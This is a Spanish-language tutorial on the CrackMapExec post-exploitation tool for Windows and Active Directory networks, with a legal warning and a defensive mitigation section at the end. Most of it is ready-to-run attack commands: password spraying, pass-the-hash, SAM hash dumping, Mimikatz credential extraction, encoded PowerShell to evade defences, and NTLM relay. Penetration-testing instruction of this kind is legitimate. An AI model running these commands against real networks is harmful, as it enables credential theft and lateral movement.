CrackMapExec (CME) es una herramienta post-explotación suiza que ayuda a automatizar la evaluación de seguridad en redes Windows/Active Directory. Combina varias técnicas ofensivas en una sola herramienta, permitiendo tanto el reconocimiento como la explotación de vulnerabilidades comunes.
CrackMapExec fue diseñado para:
Evaluar la seguridad de entornos Windows/AD
Enumerar información de sistemas y dominios
Mover lateralmente dentro de una red
Ejecutar comandos remotamente en sistemas comprometidos
Esta herramienta es especialmente útil en contextos de:
Pruebas de penetración en entornos corporativos
Auditorías de seguridad en Active Directory
Red Team Operations
Evaluaciones de postura de seguridad
Advertencia Legal
CrackMapExec es una herramienta potente que debe utilizarse únicamente en entornos autorizados. Su uso sin permiso puede violar leyes de acceso no autorizado a sistemas informáticos.
graph TD
A[Reconocimiento Inicial] -->|cme smb subnet| B[Identificar Hosts Activos]
B --> C[Enumerar Información del Dominio]
C -->|cme ldap target| D[Enumerar Usuarios y Grupos]
C -->|cme smb target --shares| E[Enumerar Recursos Compartidos]
D --> F[Prueba de Credenciales]
E --> F
F -->|cme smb target -u users -p pass| G{Acceso Exitoso}
G -->|Sí| H[Movimiento Lateral]
G -->|No| I[Intentar Otras Técnicas]
H -->|cme smb target -x 'comando'| J[Ejecución Remota]
H --> K[Extracción de Hashes]
K -->|cme smb target --sam| L[Nuevas Credenciales]
L --> H
Ejemplos Prácticos
Ejemplo 1: Enumeración de Hosts Windows en la Red
# Escanea toda la subred en busca de hosts SMB disponiblescrackmapexec smb 192.168.1.0/24
Explicación
Este comando escanea toda la subred 192.168.1.0/24 en busca de servidores SMB activos. Para cada host encontrado, muestra información como nombre del host, dominio, versión de sistema operativo y si tiene SMB firmado requerido. Es una excelente manera de identificar rápidamente todos los sistemas Windows en una red.
Ejemplo 2: Prueba de Credenciales en Múltiples Hosts
# Prueba una lista de usuarios y contraseñas contra múltiples hostscrackmapexec smb 192.168.1.0/24 -u users.txt -p passwords.txt --continue-on-success
Explicación
Este comando realiza un ataque de fuerza bruta/diccionario contra todos los hosts SMB en la subred. Lee usuarios de “users.txt” y contraseñas de “passwords.txt”, probando cada combinación. El flag --continue-on-success hace que siga intentando todas las combinaciones incluso después de encontrar credenciales válidas, lo que es útil para descubrir múltiples cuentas comprometidas.
Ejemplo 3: Ataque Pass-the-Hash y Ejecución de Comandos
# Usa un hash NTLM para autenticarse y ejecutar un comandocrackmapexec smb 192.168.1.100 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0' -x 'whoami /all'
Explicación
Este comando utiliza la técnica “Pass-the-Hash” para autenticarse como el usuario Administrator sin conocer su contraseña en texto claro, solo usando el hash NTLM. Si la autenticación es exitosa, ejecuta el comando whoami /all en el sistema remoto, mostrando información detallada sobre el contexto de seguridad del usuario actual.
Ejemplo 4: Extraer Hashes de Contraseñas
# Extraer hashes de la base de datos SAM localcrackmapexec smb 192.168.1.100 -u Administrator -p 'Password123' --sam
Explicación
Una vez que tenemos credenciales válidas de administrador, podemos extraer los hashes de contraseña almacenados en la base de datos SAM del sistema. Estos hashes pueden usarse posteriormente para ataques de Pass-the-Hash contra otros sistemas o para intentar crackearlos offline y obtener las contraseñas en texto claro.
Ejemplo 5: Enumeración de Dominio con LDAP
# Enumerar usuarios de dominio a través de LDAPcrackmapexec ldap 192.168.1.10 -u 'usuario' -p 'contraseña' -M userhunter
Explicación
Este comando usa el protocolo LDAP para conectarse al controlador de dominio y ejecuta el módulo “userhunter” que busca usuarios específicos (como administradores) en el dominio. Es extremadamente útil para identificar cuentas de alto valor que podrían ser objetivos prioritarios en un ataque.
Técnicas Avanzadas
Movimiento Lateral con CrackMapExec
# Ejecución a través de WinRMcrackmapexec winrm 192.168.1.0/24 -u administrator -H <hash> -x "powershell -enc <base64_encoded_command>"
Comandos Codificados
El uso de comandos codificados en Base64 puede ayudar a evadir algunos controles de seguridad:
# Usar el módulo Mimikatz para extraer credencialescrackmapexec smb 192.168.1.100 -u Administrator -p 'Password123' -M mimikatz -o COMMAND='sekurlsa::logonpasswords'
Detección por Antivirus
El uso de Mimikatz suele ser detectado por soluciones antivirus modernas. En entornos reales, puede ser necesario usar técnicas de evasión adicionales.
Enumeración de Grupos de Seguridad
# Enumerar miembros de grupos privilegiadoscrackmapexec ldap 192.168.1.10 -u 'usuario' -p 'contraseña' -M group-members -o GROUP="Domain Admins"
Explotación de Vulnerabilidades Específicas
Abuso de Protocolo NTLM
# Relaying de hashes NTLM (requiere Impacket)# En una terminal:impacket-ntlmrelayx -t 192.168.1.100 -smb2support -c "powershell -enc <comando>"# En otra terminal:crackmapexec smb 192.168.1.50 -u 'usuario' -p 'contraseña' -M spider_plus
NTLM Relay
Esta técnica aprovecha debilidades en la implementación del protocolo NTLM para “redirigir” intentos de autenticación legítimos a otros sistemas objetivo.
No especificar el dominio correctamente: Para autenticación de dominio, asegúrate de especificar el nombre de dominio correcto con -d.
Formato incorrecto de hash: Para Pass-the-Hash, asegúrate de usar el formato correcto LM:NTLM.
Ignorar los firewalls: Considera que los firewalls pueden bloquear ciertos puertos/protocolos.
No manejar adecuadamente las credenciales: Evita guardar credenciales en archivos de texto sin cifrar.
Subestimar la detección: Las herramientas de seguridad modernas pueden detectar el uso de CrackMapExec; considera técnicas de evasión cuando sea necesario.
Integración con Otras Herramientas
CrackMapExec funciona especialmente bien como parte de un flujo de trabajo que integra múltiples herramientas:
flowchart LR
A[Nmap] -->|Descubrimiento| B[CrackMapExec]
B -->|Credenciales| C[Impacket]
B -->|Hashes| D[Hashcat]
B -->|Acceso| E[Evil-WinRM]
C -->|Más exploits| B
D -->|Contraseñas crackeadas| B
E -->|Sesiones| F[Empire/Metasploit]
Ejemplos de Integración:
Nmap + CrackMapExec:
# Primero identificar hosts con Nmapnmap -p 445 192.168.1.0/24 -oG smb_hosts.txt# Luego usar grep para extraer IPs y pasarlas a CMEcat smb_hosts.txt | grep "open" | cut -d " " -f 2 > targets.txtcrackmapexec smb targets.txt --shares
# Identificar hosts con WinRM habilitadocrackmapexec winrm 192.168.1.0/24# Conectarse con Evil-WinRMevil-winrm -i 192.168.1.100 -u administrator -p 'Password123'
Detección y Mitigación
Cómo se detecta el uso de CrackMapExec:
Múltiples intentos de autenticación fallidos desde una misma IP
Numerosas conexiones SMB/WinRM/LDAP en un corto período
Ejecución remota de comandos sospechosos
Consultas LDAP anómalas o extensivas
Extracción de hashes SAM/LSASS
Medidas de mitigación para administradores:
Medida
Descripción
Implementación
SMB Firmado
Requiere firma en comunicaciones SMB
Política de grupo
Autenticación NTLMv2
Deshabilitar versiones antiguas de NTLM
Política de grupo
Credenciales únicas
Evitar reutilización de contraseñas
Gestión de contraseñas
Least Privilege
Limitar privilegios administrativos
Diseño de AD
EDR/SIEM
Detección y respuesta a endpoints
Soluciones comerciales
Segmentación de red
Limitar comunicación entre segmentos
Firewalls/VLANs
MFA
Autenticación multifactor
Servicios compatibles
Blue Team Tip
Los equipos de defensa pueden usar herramientas como “PurpleSharp” para simular los ataques de CrackMapExec y probar sus capacidades de detección antes de un ataque real.
CrackMapExec es una herramienta extremadamente potente para pruebas de penetración en entornos Windows y Active Directory. Su capacidad para combinar múltiples técnicas en una sola herramienta la hace esencial para:
Evaluar rápidamente la seguridad de una red Windows
Identificar debilidades en la configuración de Active Directory
Facilitar el movimiento lateral una vez que se ha ganado acceso inicial
Extraer credenciales para escalar privilegios
Sin embargo, con gran poder viene gran responsabilidad. CrackMapExec debe usarse éticamente, con los permisos adecuados y dentro del alcance legal de las pruebas de penetración.
El conocimiento de herramientas como CrackMapExec es valioso tanto para equipos ofensivos (para identificar vulnerabilidades) como para equipos defensivos (para entender los métodos de ataque y mejorar sus defensas).